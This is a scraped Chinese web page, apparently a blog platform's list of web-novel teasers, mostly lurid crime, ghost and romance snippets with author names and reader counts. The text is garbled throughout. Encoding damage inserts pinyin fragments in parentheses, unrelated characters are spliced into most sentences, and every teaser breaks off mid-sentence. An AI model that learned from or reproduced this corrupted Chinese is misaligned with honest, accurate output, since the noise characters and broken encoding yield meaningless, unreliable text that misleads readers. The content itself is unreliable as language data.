?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市笤成,隨后出現(xiàn)的幾起案子评架,更是在濱河造成了極大的恐慌,老刑警劉巖炕泳,帶你破解...
    沈念sama閱讀 217,542評(píng)論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件纵诞,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡培遵,警方通過(guò)查閱死者的電腦和手機(jī)浙芙,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,822評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)籽腕,“玉大人嗡呼,你說(shuō)我怎么就攤上這事』屎模” “怎么了南窗?”我有些...
    開封第一講書人閱讀 163,912評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)郎楼。 經(jīng)常有香客問(wèn)我万伤,道長(zhǎng),這世上最難降的妖魔是什么呜袁? 我笑而不...
    開封第一講書人閱讀 58,449評(píng)論 1 293
  • 正文 為了忘掉前任敌买,我火速辦了婚禮,結(jié)果婚禮上阶界,老公的妹妹穿的比我還像新娘虹钮。我一直安慰自己,他們只是感情好膘融,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,500評(píng)論 6 392
  • 文/花漫 我一把揭開白布芙粱。 她就那樣靜靜地躺著,像睡著了一般氧映。 火紅的嫁衣襯著肌膚如雪春畔。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,370評(píng)論 1 302
  • 那天屯耸,我揣著相機(jī)與錄音,去河邊找鬼蹭劈。 笑死疗绣,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的铺韧。 我是一名探鬼主播多矮,決...
    沈念sama閱讀 40,193評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了塔逃?” 一聲冷哼從身側(cè)響起讯壶,我...
    開封第一講書人閱讀 39,074評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎湾盗,沒想到半個(gè)月后伏蚊,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,505評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡格粪,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,722評(píng)論 3 335
  • 正文 我和宋清朗相戀三年躏吊,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片帐萎。...
    茶點(diǎn)故事閱讀 39,841評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡比伏,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出疆导,到底是詐尸還是另有隱情赁项,我是刑警寧澤,帶...
    沈念sama閱讀 35,569評(píng)論 5 345
  • 正文 年R本政府宣布澈段,位于F島的核電站悠菜,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏均蜜。R本人自食惡果不足惜李剖,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,168評(píng)論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望囤耳。 院中可真熱鬧篙顺,春花似錦、人聲如沸充择。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)椎麦。三九已至宰僧,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間观挎,已是汗流浹背琴儿。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留嘁捷,地道東北人造成。 一個(gè)月前我還...
    沈念sama閱讀 47,962評(píng)論 2 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像雄嚣,于是被迫代替她去往敵國(guó)和親晒屎。 傳聞我的和親對(duì)象是個(gè)殘疾皇子喘蟆,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,781評(píng)論 2 354